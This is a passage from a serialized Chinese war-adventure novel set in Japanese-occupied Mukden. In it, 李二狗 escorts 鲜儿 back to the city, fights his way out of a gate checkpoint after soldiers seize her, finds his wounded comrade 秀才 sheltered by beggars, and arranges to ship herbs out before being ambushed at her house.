“柱子兄弟,我住在奉天城悦来旅馆,我们今天晚上在那里碰头。” 他说着站起身来,再次拱手道:“诸位兄弟,那我就告辞了。” 镇东北挽留道:“兄弟,太着急了,你喝了这么多酒,还是先歇一歇吧,待会我派人送你下山。” 李二狗说道:“大哥,我已经出来很长时间了,不能再耽搁了,等办完这件事,我亲自上山陪大哥喝上三天三夜。” 镇东北爽朗地笑道:“那咱们就一言为定,可不许反悔啊,哈哈。” 众人把李二狗送到寨门口,李二狗回头看了一眼山寨,那个美丽的身影并没有如期出现,他内心微微有些失望。 “大哥,告辞!” 李二狗沿着山路往下走,山路两旁都是伪满士兵横七竖八的尸体,清风寨的兄弟正在打扫战场。 为了图省事,他们把伪满军士兵的尸体纷纷抛到悬崖下面,李二狗看得直摇头。 死者为大,不管他们是不是汉奸走狗,都应该让他们死后入土为安。 他走到山脚下,突然前方出现了一个熟悉而又陌生的身影。 “鲜儿,你怎么在这里?” 鲜儿莞尔一笑:“我回奉天城!” 第503章 马背情缘 李二狗明显有些恍惚。 眼前这个明亮动人的鲜儿,笑起来的样子实在太像慕容雪了。 “你……你怎么回奉天?” 见惯了世面的李二狗,此时竟显得有些不知所措,说话也变得吞吞吐吐起来。 鲜儿没有回答李二狗的问题,而是反问道:“那你怎么回去?” “我?”李二狗一紧张竟忘记了自己还有一匹马拴在山脚下一处破落的院子里,“我怎么回去都行。” 鲜儿被李二狗滑稽的样子逗笑了,她不明白,这个男人为何见到自己会如此紧张,难道仅仅是因为自己长得漂亮吗? 看他的样貌和气度并不像是一个没有见过世面的男人。 她莞尔一笑,问道:“难道你也要走回去吗?” “我……”心情稍微镇定了一些的李二狗突然想到了那匹马,“我……我骑马回去。” “骑马?马在哪里?”鲜儿四顾无马,笑问道。 “昨天我是骑马从奉天城过来的,拴在那边的一个院子里。” 李二狗指了指不远处的一个院子,鲜儿踮起脚尖看了看,果然不远处有一个院子。 “奥,你骑马回去,那我只好走回去了,其实也不太远,两三个时辰也就走到了。” 李二狗最懂女人的那点小心思,此时她的意思再明白不过了。 “鲜儿妹子,如果你不介意,我们可以一起骑马回去。” 鲜儿笑了,脸也红了,她还从来没有和一个男人共骑一匹马,想想就很兴奋。 “这样可以吗?可别耽误了哥哥的大事,不然我还是走回去吧?” 李二狗心想,你如果想走回去,何必又在这里等着自己? “鲜儿,我和你大哥既然是结拜兄弟,我也就是你的哥哥,我们还是一起走吧,路上也好有个照应,这兵荒马乱的,你一个人回去我实在不放心。” 鲜儿从奉天城听到清风寨被围,情急之下雇了一辆马车从奉天城赶了回来。 快到和尚岭的时候,马夫吓得不敢再往前走,鲜儿只好付了钱,马夫掉头回了奉天城。 “那就谢谢哥哥了,嘻嘻。” 鲜儿笑起来的样子像极了慕容雪,尤其是她那双会说话的眼睛,简直是一模一样。 两人来到那处院落,也许是因为兵荒马乱的原因,周围的人早已逃离这个地方,马正低着头在荒芜的院子里吃着干草,并没有被人偷走。 李二狗上前把马牵了出来。 “你骑过马吗?” 鲜儿摇了摇头,眼巴巴地看着李二狗,那意思好像在说,你会就好。 李二狗本想让鲜儿上马,自己牵着马回奉天城,但时间紧迫,他实在没有时间。 “鲜儿,我有急事得尽快赶回奉天城,虽说男女授受不亲,但你是我妹子,也就顾不得那么多礼数了,待会你在后面抱紧我,我们一起骑马回奉天。” 鲜儿一张俏脸红扑扑的,说她害羞,但她并没有显得扭扭捏捏,而是痛快地答应了,想来是因为兴奋的缘故。 李二狗拖住鲜儿纤细的腰肢把她拖到马背上,本来想着让鲜儿从后面抱住自己,但他发现鲜儿上到马背之后,自己想坐到她前面的马背上并不容易。 试了几次都没有成功,鲜儿紧紧地拉住马缰绳显得有些紧张。 李二狗没有办法,只好翻身上马,坐在鲜儿后面的马背上。 他从鲜儿手中接过马缰绳,从后面搂住她的身体,双腿一并,手上一拉缰绳,口中喝道:“驾!驾!” 青骢骏马撩开蹄子往前奔去,鲜儿的身体不自觉地往后仰,李二狗的气息呼到她的耳畔。 她感觉自己的身体在发烫,呼吸也变得急促起来。 骏马在路上一路疾驰,颠得两人在马背上不停地扭动着身体,李二狗竟有了想法。 鲜儿坐在前面明显感觉到了异样,她想躲避,却根本挪动不了身体。 李二狗从后面搂住鲜儿柔弱无骨的身体又怎会无动于衷? 他嗅着鲜儿身体发出的少女体香,只能不停地吞咽着口水。 “驾!驾!驾!” 李二狗的声音越来越大,希望借此可以让自己燥热的身体冷却下来。 一直到看到奉天城的时候,李二狗才勒住马的缰绳。 “吁……” 马在急行中被叫停,两只前蹄猛地抬了起来,鲜儿的身体完全贴到李二狗的身体上。 李二狗担心她掉下去,把她搂得更紧了。 马终于停了下来,李二狗深呼一口气,让自己的呼吸平静下来。 他翻身下马,鲜儿此时还伏在马背上,身体微微有些发抖。 “鲜儿,前面就是奉天城了,先下来歇一歇吧。” 鲜儿的额头上满是汗珠,脸颊通红,喉干舌燥。 “嗯。” 她把手伸向李二狗,李二狗握住她的手,她从马背上翻身下来,双腿发麻,站立不稳,倒在李二狗怀里。 “哎吆!” 李二狗扶住她,关心地问道:“鲜儿,你没事吧?” “我……我没事,只是脚有点麻。” 李二狗笑道:“第一次骑马都这样,你试着走两步就好了。” 鲜儿扶着李二狗的两个肩膀不敢松手。 “没事,我扶着你,试着走两步,活动一下就好了。” “嗯。” 鲜儿试着迈动了一只腿,刚迈出去就“哎吆”一声再次倒在李二狗怀里。 “哥哥,人家的腿好麻吆。” 她这一声哥哥,叫得李二狗的心都麻了。 “来,你先坐下,我给你揉一揉。” 李二狗瞅了瞅,周围并没有能坐得地方,便把自己的帽子摘下来,放在地上。 “坐这里。” 鲜儿看着地上的帽子,眼神变得更加温柔。 “哥哥,这……这怎么好意思?” “好了,快坐下,我给你揉一揉,咱们还得赶路呢。” 李二狗扶着鲜儿坐在地上的帽子上,他抬起她的一条腿前后左右转了几圈,又拍打了一下她小腿上的肌肉。 然后又抬起她的另一条腿,同样转了几圈,拍打了一下肌肉。 “好了,你现在试试腿还麻吗?” 李二狗把鲜儿从地上拉起来,鲜儿小心翼翼地抬起腿走了两步,果然不麻了。 “哥哥,你好厉害!” 李二狗心里暗笑,厉害什么?只不过是心理作用罢了。 第504章 城门遇险 两个人都不知道该说些什么,气氛一时显得有些尴尬。 “你……” “我……” 两人试图说些什么缓解一下尴尬的气氛,没想到却更尴尬了。 “鲜儿,你休息好了吗?我们继续赶路吧。” 鲜儿只好点了点头。 想到马上就要和李二狗分开,她的眼泪竟不自觉地流了出来。 这可把李二狗吓坏了,自己刚才可什么都没对她做,她怎么还突然哭了起来? “鲜儿,你怎么了?我……” 鲜儿擦了擦眼泪,脸上挤出一丝笑容。 “哥哥,你莫慌,我……我没事,只是刚才被沙子迷了眼睛,现在已经好多了。” 李二狗看着鲜儿泪流满面的样子,一点也不像是被风沙迷住了眼睛,再说,此时根本就没有一点风! 她不说,李二狗也不好再问。 他双手托住她的两腋,把她拖到马背上,然后自己翻身上马,骑着马向奉天城奔去。 一路无话,很快两人就到达奉天城门。 李二狗翻身下马,他牵住缰绳,让鲜儿骑在马背上。 “站住!从哪来的?” 一个伪满士兵举枪挡住了李二狗的去路。 李二狗满脸堆笑道:“老总,我们是前面靠山屯的,我妹子身体有些不舒服,我带她来奉天城里看看病。” “看病?” 伪满士兵上下打量了李二狗一番,又看了看马背上的鲜儿,她双眼含泪,面色通红,额头上噙满了汗珠,一副病恹恹的样子。 但这个女人真是太美了。 他忍不住吞咽了几口口水,喉结滚动的样子都被李二狗看在眼里。 “她得了什么病?还要到城里来看病?” “老总,我妹子从生下来就体弱多病,前些天受了一些风寒,一直不见好,这不,我只能带她来城里看看。” 伪满士兵忍不住又多看了鲜儿两眼,光天化日之下,城墙上还写着东亚共荣的大幅标语,他不敢造次,只能多看几眼,过过眼瘾。 越看心里越痒痒,他只好挥了挥手,说道:“好了,快带她进城看病去吧。” “谢谢老总,谢谢老总。” 李二狗牵着马就往城里走,刚走了没两步,就被两个日本鬼子举枪挡住了去路。 “八嘎!” 伪满士兵听到日本人的喝骂,立刻举枪围了上来。 “怎么了,太君?” 李二狗忙说道:“老总,你快给他们说说,我们是良民,是进城看病的。” 日本士兵向这个伪满士兵叽里咕噜地嘀咕了几句,伪满士兵一直点头称是。 然后他走到李二狗跟前,李二狗忙问道:“老总,他说什么?” 伪满士兵狞笑道:“兄弟,你运气不错,皇军给你找了一个吃大米团子的活。” 李二狗心下一惊,忙问道:“老总,什么活?” “给皇军挖战壕,干得好,皇军一高兴,说不定还给你几个赏钱,跟我走吧!” 李二狗忙说道:“老总,老总,麻烦你给他们说一说,我妹子病得很重,我还得带她进城去看病,等下次我一定去给他们挖战壕。” 伪满士兵不耐烦地喝骂道:“你他娘的别敬酒不吃吃罚酒,日本人交代的事谁敢讨价还价?你要不老实,小心他们一枪崩了你!” 李二狗瞥了一眼城门楼下站岗的士兵,加上这两个日本人,足有八个人,还架有一挺歪把子机枪。 此时他如果硬来,根本没有胜算,更何况还有鲜儿在场。 “老总,我真的不行啊,我妹子病得这么严重,麻烦你再和他们再说说好话,我不会亏待你 的。” 李二狗说着就从兜里掏出两块大洋,悄悄塞到伪满士兵手里。 伪满士兵心领神会,接过大洋塞到自己口袋里。 “算你小子命好,遇到我这么乐于助人的人,你在这等着,我再去和皇军说说好话。” 伪满士兵跑到日本士兵面前,刚说了一句话,就激怒了日本士兵。 他一脚把伪满士兵踢翻在地,举枪瞄准,嘴里骂道:“八嘎呀路!不听皇军的命令,死啦死啦地!” 伪满士兵吓坏了,他立马从地上爬起来,跪在地上就不停地磕头。 “皇军饶命,皇军饶命,我知道错了!我知道错了!” “快快地,不然死啦死啦地!” “是是是!” 伪满士兵从地上爬起来,捡起枪,狼狈地来到李二狗面前。 “妈了个巴子,你差点害死老子!快走!” “老总,我真的不能去啊!我去了我妹子咋办啊?” “他妈的,再敢废话,老子现在就崩了你!快走!” “老总……” 李二狗刚要说话,伪满士兵一枪托砸在李二狗胯上,疼得他龇牙咧嘴。 “哥哥!” 一直趴在马背上没敢说话的鲜儿从马背上翻身掉了下来,她从地上爬起来就冲向李二狗。 “八嘎!” 两个日本士兵举着枪跑过来,当他们看到鲜儿时,脸上立刻露出了淫邪的笑容。 “吆西,花姑娘,哈哈哈……” 其中一个日本士兵伸手去拉鲜儿,吓得鲜儿尖叫着躲到李二狗身后。 “哥哥,救我!” “你们干什么?” 李二狗挡在鲜儿面前,他在急速思考着接下来该如何应对!弄不好,今天得折在这了! 他自己不想死,更不想连累了鲜儿! “八嘎!” 一个日本士兵举枪瞄准了李二狗的胸口。 “再不让开!死啦死啦地!” “光天化日之下,你们就没有王法了吗?你们不是一直喊着大东亚共荣吗?难道就是这样共荣的吗?” 日本士兵一枪托砸在李二狗的额头上,李二狗只感觉天旋地转,站立不稳,倒在地上。 “哥哥,哥哥……” 鲜儿吓坏了,她匍匐在李二狗身上大声哭泣着。 鲜儿的哭声更加激起了日本人的兽欲。 “哈哈哈,花姑娘地,吆西,吆西……” 李二狗虽然头晕得厉害,但并没有彻底失去知觉。 他头痛欲裂,模糊中,他看到一个日本鬼子正拖着鲜儿往城门里走。 鲜儿倒在地上,回头看向自己,拼命向他挥手。 “哥哥救我,哥哥救我!” 第505章 哥哥快走 李二狗浑身一激灵, 模糊中,他仿佛看到鲜儿变成了慕容雪,慕容雪拼命向他挥手。 “哥哥救我,哥哥救我!” 慕容雪又变成了鲜儿。 “哈哈哈,花姑娘地,吆西……吆西……” 鲜儿渐渐消失在他的视线中…… 李二狗不知道从哪里来的力气,他“蹭”的一下从地上跳起,身旁的伪满士兵还没来得及反应过来就被他扭断了脖子。 他快速捡起地上的枪,对着几个伪满士兵就是“砰砰”两枪,其中一枪击毙了机枪手。 其他伪满士兵见状,纷纷寻找可以躲避的地方。 李二狗趁着这个空隙,冲到机枪面前,抱起机枪就是一阵“突突”,五六个伪满士兵当场殒命。 “八嘎!” 其中一个日本士兵听到枪声,举着“三八大盖”步枪就冲向李二狗,当场被李二狗手中的机枪打成了筛子。 另一个日本士兵见状,惊恐地把鲜儿挡在自己身前,拔出刺刀,横在她的脖子上。 “八嘎!快把枪放下,不然她的死啦死啦地!” 李二狗知道,城门枪声一响,城内的增援部队短时间内就会赶到,每耽搁一分钟都有可能命丧当场。 “你把人放了,老子可以放你走!” 日本士兵显然听懂了李二狗的话,但他也知道,城内的增援马上就到,只要自己能坚持两分钟,李二狗绝无活路。 他手里有鲜儿这个人质,他一点也不害怕。 “哈哈哈,支那猪,你们的死期马上就要到了!” 李二狗心急如焚,但却无计可施。 鲜儿明显感知到了即将到来的危险,她大声对李二狗喊道:“哥哥,你快走,不要管我!” 从“哥哥救我”到“哥哥快走”,鲜儿对李二狗的情谊令他动容。 哪怕就是一起死,李二狗也绝不会丢下鲜儿独自逃走! “鲜儿,你放心,哥哥一定会救你一起走!” “哥哥,你快走,不要管我!你快走!” 鲜儿哭声凄惨且绝望,但她首先想到的还是李二狗的安危。 远处已经传来警察示警的口哨声,此时正有大批的士兵往城门方向增援。 鲜儿明显也听到声音,她一直在城里生活,知道这种哨声意味着什么。 “哥哥,你快走啊!再不走就来不及了!” 李二狗完全没有离开的意思,他抱着机枪向她靠近。 “站住!再往前,我立即宰了她!” 日本士兵手里的刺刀划破了鲜儿白皙的脖子,顿时鲜血直流。 李二狗不得不停下来,眼里仇恨的目光恨不得把这个日本鬼子生吞活剥了一般。 此时的鲜儿根本感受不到脖子上的疼痛,她深情地凝视着李二狗。 熟悉的眼神令李二狗绝望,因为鲜儿此时的眼神和慕容雪临死之前的眼神一模一样。 那是一种不舍却心甘情愿的眼神,是一种临死之前依依惜别的眼神。 “哥哥,咱们来世再见!” “不要!”李二狗大吼一声。 鲜儿仿佛没有听见一般,她笑得那么美丽动人。 “今生能认识你,真好!” 鲜儿嘴角含笑,眼睛一闭,准备用脖子上的刺刀割断自己的喉咙。 “不要啊!” 李二狗绝望地闭上了眼睛! “当啷”一声,日本鬼子手里的刺刀掉在地上。 李二狗正准备为鲜儿报仇时,却看到了秀才的身影。 他从后面一刀宰了那个日本鬼子,鲜儿没有死,她双腿无力地瘫坐在地上,眼神里充满了喜悦、惊恐和劫后重生。 “狗哥,快走!” 李二狗顾不上说话,快速冲到鲜儿面前。 他把机枪丢给秀才,自己把鲜儿扛在肩头。 “我们走!” 秀才说道:“狗哥,你们先走,我去引开他们。” “不行!要走一起走!” 秀才说道:“快走,不然我们一个都走不了,我自己有办法脱身!” 秀才说着就抱着机枪向着李二狗相反的方向跑去。 李二狗之前一直对秀才抱有戒心,没想到他现在却舍命相救。 他嘴里默念道:“秀才兄弟,你一定要活着回来。” 说罢,他扛着鲜儿冲进一个胡同里,两人很快就消失在胡同中。 身后枪声大作。 李二狗扛着鲜儿一口气跑出三里地,两人躲进一个破庙里。 “鲜儿,你没事吧?” “哥哥!” 鲜儿扑到李二狗的怀抱里,全身战栗不止。 “鲜儿,别哭,有哥哥在,你不会有事的。” 李二狗的安慰,没有让鲜儿停止哭泣,反而令她哭得声音更大了。 这种劫后余生的喜悦又怎能不令人喜极而泣! “你流血了!” 李二狗看到鲜儿脖子还在流血,赶紧撕下贴身衣服上的一块布为她包扎止血。 “哥哥,谢谢你救了我!” 鲜儿深情地看向李二狗,目光荡漾,她已深深地爱上这个舍命相救的男人。 李二狗只和她对视了一眼,便赶忙移开了视线,他不敢正视鲜儿这种灼灼的目光。 “鲜儿,你住在哪里?我现在送你回去。” 鲜儿很失落,她以为李二狗会情不自禁地亲吻自己,可没想到,他竟然选择了逃避。 难道他不喜欢自己吗? 如果不喜欢自己,刚才为何又要舍命相救? 难道只是因为自己是镇东北的妹子吗? “哥哥,我……” 李二狗没等鲜儿把话说完,他知道她想说什么,有些话一旦说出来,一切就回不到从前了。 “鲜儿,你听我说,我现在必须马上把你送回去,刚才救我们的兄弟还生死未卜,我得去找他。” 鲜儿是一个美丽的女孩,追求者甚多,可她一个都看不上。 可自打她看见李二狗的第一眼起,就被这个男人深深地吸引了。 可他对自己…… “我听你的。” 李二狗和鲜儿走在街道上,两人把头低得很低,并没有引起行人的注意。 “黄包车!” 鲜儿脖子上有伤,又受到如此大的惊吓,李二狗担心她身体吃不消,便伸手叫了一辆黄包车。 两人坐上黄包车,李二狗虽刻意和她保持着距离,但黄包车的座位很窄,两人还是不可避免地挤在一起。 鲜儿闭上眼睛,倚靠在李二狗肩头。 第506章 秀才失踪 黄包车很快便到达鲜儿住的地方。 两人下了车,李二狗付了车钱,他扶着鲜儿来到院门口。 “鲜儿,”李二狗并不想进去,他怕进去之后鲜儿会情不自禁,也害怕自己拒绝不了她,“你进屋吧,我就不送礼进去了。” 鲜儿脸色有些惨白,她离开李二狗的搀扶,说道:“哥哥,你快去忙吧,我自己进去就好。” 李二狗见她脸色如此惨白,说话都有气无力,便关心地问道:“你自己可以吗?” 鲜儿微微一笑,幽幽说道:“我可以的。” 说着她便咳嗽起来,咳嗽带动了脖子上的伤口,她疼得忍不住战栗起来,脖子上包扎的布条上顿时洇出了鲜血。 李二狗赶忙上前扶住她,说道:“你脖子上的伤口裂了,我扶你进去给你重新包扎一下吧。” 鲜儿倔强道:“不用,我自己回屋包扎一下就好了,你快走吧。” 她越是这样,李二狗越是不能放心离去。 他扶住鲜儿,不容分说道:“我送你进去。” 鲜儿的眼泪流了下来,他还是在乎自己的。 两人进了屋,李二狗扶着鲜儿坐下。 “药箱在什么地方?” “在卧室的床头柜上。” 李二狗赶忙进入鲜儿的卧室,一股茉莉花香的气息传来,他不禁一阵心动。 少女独有的体香混合着茉莉花香,这种气息足以令任何一个男人心动。 他深吸一口气,努力让自己平静下来,拿起床头柜上的一个药箱,便走出了卧室。 他小心翼翼地解下缠在鲜儿脖子伤口上的布条,伤口果然又挣开了,好在只是被刺刀划破了一道伤口,伤口并不是很深。 李二狗给伤口消了毒,用绷带重新包扎好伤口,整个过程中,鲜儿没有喊一声疼。 她只是盯着李二狗的脸庞,好像那里有止痛的良药。 “鲜儿,你好好休息,我先走了。” 鲜儿想挽留,却不知道该如何挽留,她还是一个姑娘。 “哥哥,你还会来看我吗?” 李二狗笑道:“当然会,等我找到我兄弟就来看你,你乖乖休息。” 鲜儿抿着嘴唇,突然亲吻了一下李二狗的脸颊。 李二狗显得有些不知所措,心里好像有一群蚂蚁在爬。 他想留下来,可还是说道:“那我走了,你好好休息,明天我再来看你。” 鲜儿点了点头,虽然李二狗拒绝了自己,可自己对他的喜爱却无形中又增加了几分。 这样的男人,没有女人会不喜欢。 “哥哥,你注意安全,再见。” 李二狗转身离开了,秀才生死未卜,他实在不能贪恋儿女情长。 他回到悦来旅馆,秀才并没有回来,难道他…… 李二狗不敢再想下去,如果秀才真的遇到什么不测,自己将会内疚一生。 他拿出纸笔,写了一张纸条放在房间里,以备秀才回来找不到自己着急,然后换了一身衣服,便急匆匆出了门。 走在街上,街上并没有想象中剑拔弩张的气氛,也许这样的事情每天都在发生,日本人早已见怪不怪。 李二狗刚才在城门口杀光了所有站岗的士兵,他自信不会有人认出他,便又回到城门口。 城门口的那些尸体不见了,十几个士兵正在检查过往行人,还有五六个日本士兵加入到盘查的行列。 显然日本人在受到袭击后加强了城门的戒备。 李二狗没有出城,而是沿着秀才先前撤离的方向走去。 道路两旁的墙面上布满了弹孔,很明显这里发生了激烈的交火。 李二狗一直走到这条街道的尽头,在一堵墙面上看到了两个弹头。 他内心稍安,至少在这条街道的尽头,秀才还在和日本人交战,他并没有被俘或者牺牲。 街道的尽头有一家馄饨店,李二狗走了进去。 “老板,来一碗馄饨。” 很快,一碗热腾腾的馄饨便端了上来。 李二狗故意问道:“老板,我看你店门口有打坏的玻璃,怎么回事?” 老板无奈地说道:“哎,别提了,刚刚不久前,一群日本人追击一个小伙子,一颗子弹打在店里玻璃上,差点打在我身上,你看墙上那个弹孔。” 李二狗顺着老板手指的方向,果然看到墙上有一个清晰的弹孔,里面有一颗弹头,深深地嵌在里面。 “东西打坏了不要紧,人没事就好。” “是啊,这世道,能活着就算烧高香了。” “老板,你刚才说一群日本人追击一个人?谁这么厉害?能被一群日本人追击?” 老板狐疑地打量了李二狗一番,又看向门外,看到没人后才低声说道:“这个谁知道啊?不过敢和日本人对着干就是好样的。” “那个人被日本人抓住了没有?” 老板再次狐疑地看向李二狗,不知道他为何对此事如此关心。 “老板你别误会,我只是觉得这样一个敢于反抗的人,要是被日本人抓住,实在是太可惜了。” 老板说道:“当时他从这里向北边跑去了,至于最后有没有被日本人抓住我就不知道了,哎,那么多日本人追击他一个人,想来也是凶多吉少。” 老板不愿意再说,便说道:“先生您慢用。” 李二狗匆匆吃完馄饨,付了钱之后,便出门沿着老板说的方向继续寻找秀才的踪迹。 一路上再也没有发现两旁的墙面上有弹孔的痕迹,想来在前面的拐角处,秀才的枪里已经没有了子弹。 想到这,李二狗的心里传来一阵疼痛。 在这个陌生的城市里,秀才一个人又岂能轻易逃脱那么多日本人的追击。 前面是一条河,河面上结了冰,想跳河逃生绝无可能。 一股绝望之情弥漫在李二狗心头。 “秀才兄弟,你可千万不能死啊!” 带着一丝期盼,李二狗回到悦来客栈。 回到房间,屋内的纸条根本没有动过,秀才没有回来! 李二狗彻底绝望了! 以秀才的性格,如果他能脱险,肯定会第一时间赶来悦来旅馆找李二狗。 现在他没有来,只能说明一个问题,他被俘或者已经牺牲了。 想到这,李二狗的心在滴血。 他站立不稳,脚下一个趔趄,差点摔在地上,双手连忙扶住桌子。 不管秀才是死是活,必须尽快打探到他的消息。 第507章 小叫花子 正在这时,传来一阵轻微的敲门声。 李二狗大喜,以为是秀才回来了,他刚要开门,还是停下手,谨慎地问道:“谁?” 他盼望着是秀才的声音,结果却是旅馆店小二的声音。 “先生,是我,店小二,门外有一个要饭的指名要找您。” 要饭的?还指名? 李二狗有些懵。 片刻之后,他马上想到了秀才,秀才以前是杆子帮的团头,就是要饭的出身,难道是他派人来给自己送信? 想到这,他马上打开房门。 “先生,门口有个要饭的要找您,我们没敢让他直接进来,您看……” “他人在哪?”李二狗急赤白脸地问道。 店小二吓了一跳,不明白李二狗为何表现的如此激动。 “他……他在门口。” 李二狗已飞奔下楼。 门口站着一个小叫花子,衣衫褴褛、,骨瘦如柴,一只手端着一个破碗,一只手拿着一根比他人还要高的木棍。 “我是李二狗,是你找我吗?” 李二狗双手猛地抓住小叫花子的肩膀,小叫花子被他吓得有些呆住了。 李二狗这才意识到自己有些失态,他急忙松开手,努力让自己保持淡定。 “小兄弟,是你找我吗?” 小叫花子年龄虽然小,但也要了几年饭,也是一个见过一些世面的孩子。 他很快便从刚才的惊吓中缓过神来,小声问道:“先生,你就是李二狗吗?” “对,我就是,谁让你来的?” 小叫花子这才用一只脏兮兮的小手伸进自己破破烂烂的口袋里,掏出一张折起来的小纸条交到李二狗手中。 “这是有人让我给你的。” 李二狗接过纸条,立刻认出纸条上是秀才的字迹。 原来秀才在和日本人的交战中受了枪伤,被几个要饭的叫花子救了,没想到这些叫花子都是以前杆子帮的兄弟。 秀才怕李二狗担心自己的安危,自己也担心李二狗出事,同时自己又不方便回旅馆,便找了一个不起眼的小叫花子来给李二狗送信。 “他人现在哪?快带我去。” 小叫花子左右看了看,才说道:“先生,请跟我来。” 李二狗跟着小叫花子绕了好几个胡同,七拐八转之后来到一个破败的土地庙。 门口有一个成年的叫花子,显然是在放哨,当他看到是小叫花子时才放松了警惕。 “小癞子,人带来了吗?” 小癞子指了指身后的李二狗,说道:“这位先生就是。” 他左右看了看,没有发现异常之后才说道:“跟我进来。” 几个人进入土地庙,在庙后的一间破屋里,李二狗看到了秀才,他正躺在床上,身上绑着一个绷带。 “秀才,你的伤怎么样?” 秀才肩膀上中了一枪,好在日本鬼子的“三八大盖”步枪穿透力强,弹头并没有留在体内。 “狗哥,我没事,看到你没事我就放心了。” “让你受苦了,秀才兄弟。” 李二狗紧紧地握住秀才的手,为自己以前怀疑秀才的忠心而感到羞耻。 “狗哥,你不常说咱们是兄弟吗?我做这些都是应该的,哪怕是死了,我也不后悔。” “好兄弟。” 他用力握着秀才的手,两人都有一种劫后余生的感觉。 秀才看向床前的一个老叫花子向李二狗介绍道:“狗哥,这位是老犟头,以前是我们杆子帮的一个团头。老犟头,这位就是我给你提起过的我大哥李二狗。” 老犟头拱手道:“久闻大名,李先生,我和秀才兄弟以前在杆子帮共过事,你是他大哥,也就是我们大家的大哥,以后还请多多关照。” 李二狗看这个老犟头老气横秋,至少也得四十多岁,竟然也要叫自己大哥,一时有些哭笑不得。 秀才在杆子帮中辈分高,他叫李二狗大哥,跟着他的那帮兄弟总不能叫李二狗老弟吧? 江湖之中最讲究的就是面子,人家给你面子是看得起你,李二狗虽不愿意接受,但也不好拂了人家面子。 他拱手道:“老犟头,久仰久仰,感谢你救了秀才兄弟,这份恩情日后定当厚报。” 老犟头固然人如其名。 “秀才兄弟不仅是你兄弟,也是我大哥,我们救他都是应当应份的,谈何厚报啊?” 秀才了解老犟头的脾气,急忙说道:“老犟头,你先去忙吧,我和狗哥有些话要单独说。” 老犟头脾气虽然犟,却是个很有眼力劲的人。 “好,那你们先聊,我去弄些吃的。” 老犟头走后,秀才立马问道:“狗哥,你去和尚岭了吗?” “已经去过了。” “我听说和尚岭的土匪被日本人围了?好在你现在安然无恙地回来了,只是咱们要把药材运出去只能另想别的办法了。” “我已经和他们谈好了,今晚就运走。” “什么?哎吆……” 秀才一听谈好了,激动地就要坐起来,拉扯了伤口,疼得龇牙咧嘴。 “秀才,你躺好别动,仓库都找好了吗?” “已经找好了,我也去了春和盛,二万斤药材现在已经放在仓库里了。” “太好了,仓库在什么地方?” “在奉天火车站五号仓库。” “好,今晚我们就出发去营口,从营口装船把货运出去,只是……”李二狗看了看秀才,“你现在受了伤,我看还你是留下来,等养好了伤再回去,我跟着他们先走。” 秀才说道:“狗哥,那怎么能行?你一个人忙不过来,我和你一起走。” “你的伤?” “我的伤没事。” 秀才故意伸了一下自己的胳膊,尽管剧痛,但他还是表现的面色平静。 “那好,今天晚上我们一起走。” “狗哥,我们杆子帮虽然现在已经解散,但这些兄弟个个都是可用之才,我们这次是不是可以带上他们?一旦路上有什么变故,也好有个照应。” 此时正是缺人手的时候,李二狗当然求之不得。 “此事非常危险,我实在不好意思连累你这些兄弟。” “狗哥,你以为他们都是要饭的吗?自从日本人占了东三省,他们就开始袭击日本人,个个都是不怕死的人。” 李二狗没想到这些叫花子暗地里个个都是抗日的英雄,顿时对他们刮目相看。 第508章 鲜儿被捕 “秀才兄弟,那你就问问他们,如果他们愿意帮助咱们,事后我一定不会亏待他们的。” 秀才很肯定地说道:“狗哥,你就放心吧,他们肯定愿意。” 果然如秀才所言,老犟头听后当即表示愿意助他们一臂之力。 “兄弟,真是太感谢你们了,”李二狗握住老犟头的手,“等事成之后,定当厚报。” 老犟头当即拉下脸来。 “我们帮你是看在咱们兄弟的情分上,要是谈钱,你给多少钱我们都不愿意!” 老犟头一番话令李二狗相当难堪,果然是个犟头。 秀才急忙解释道:“老犟头,你误会狗哥的意思了,你不了解狗哥,他一向是和兄弟们有酒同喝、有肉同吃的人。” 老犟头虽犟,但对秀才却很尊敬。 “兄弟之间谈钱伤感情,以后别再提了,我这就去和兄弟们说一声,咱们什么时候出发?” 李二狗说道:“今晚就出发。” “好,待会我们跟你们走。” 李二狗担心人多眼杂,便说道:“今晚七点,咱们直接在奉天火车站五号仓库碰头。” “好,我们一定准时到。” 李二狗看了看老犟头,从兜里掏出三块大洋。 老犟头看到后,立刻阴起了脸。 李二狗急忙解释道:“兄弟别误会,咱们这次路途遥远,你们要是穿成这个样子,恐怕路上多有不便,我想还是给大家买一些干净的衣服换上会更方便一些。” 秀才说道:“是啊,老犟头,狗哥说得有道理,你就别犟了,快拿着吧。” 老犟头想了想,说道:“那就多谢狗哥了。” “应该是我感谢兄弟们。” 李二狗让秀才留下,等晚上和杆子帮的兄弟一起去奉天火车站,自己则回到悦来旅馆等柱子。 下午六点钟,柱子独自一人来到悦来旅馆。 “狗哥,药材都准备好了吗?” “都准备好了,柱子兄弟,你一个人来的?” 柱子笑道:“狗哥,我浑身是铁也打不了几颗钉啊?我让其他兄弟在一个地方等着,眼下日本人查得紧,人多眼杂,不得不防啊。” “还是柱子兄弟想得周到,那咱们几点出发?” “今晚九点从城西出城,药材现在在什么地方?” “在奉天火车站五号仓库。” “一共有多少斤?” “二万斤。” 柱子点了点头,说道:“今晚八点钟我带人去奉天火车站。” “多谢柱子兄弟,晚上见。” 柱子走后,李二狗看了看手表,已经晚上六点钟。 想到马上就要离开奉天,下一次什么时候再来尚未可知,他应该去和鲜儿告个别,顺便看看她的伤势。 李二狗离开旅馆,买了一束鲜花,来到鲜儿住的地方。 来到门前,他深吸一口气,想象着待会儿告诉鲜儿自己要离开奉天时她的样子,竟有些不忍心。 天下没有不散的筵席,如果不告诉她,自己悄无声息地离开,也许她会更加伤心。 想到这,李二狗抬手敲了敲院门。 里面没有任何声音。 李二狗又敲了三声院门,还是没有任何回应。 难道她出门了? 也许这是老天的特意安排,不忍心看着他们当面别离。 想到这,李二狗无意识地推了推院门,门竟然没有锁! “鲜儿,你在吗?” 他推开院门时,鼻子先嗅到一股陌生的气息——他上次和鲜儿一起骑马离得那么近,这不是鲜儿身上的茉莉花香,是枪油混着劣质烟草的味道,腥冷得就像冬日松花江的河水。 院里的光秃秃的老槐树影影绰绰,枝桠间悬着的灯笼被风掀得歪歪斜斜。 “鲜儿?” 他低唤一声,还是没有回应。 李二狗立刻提高警惕,手不自觉地摸向腰间,那里别着一把锋利的匕首。 他缓缓走向房门,刚到屋檐下,突然,西厢房的纸门“哗啦”一声被撞开,两道黑影像狸猫似的扑出来。 李二狗早有防备,闪身避开迎面劈来的枪托,右手短刀已经出鞘,寒光在昏暗中划了一个弧。 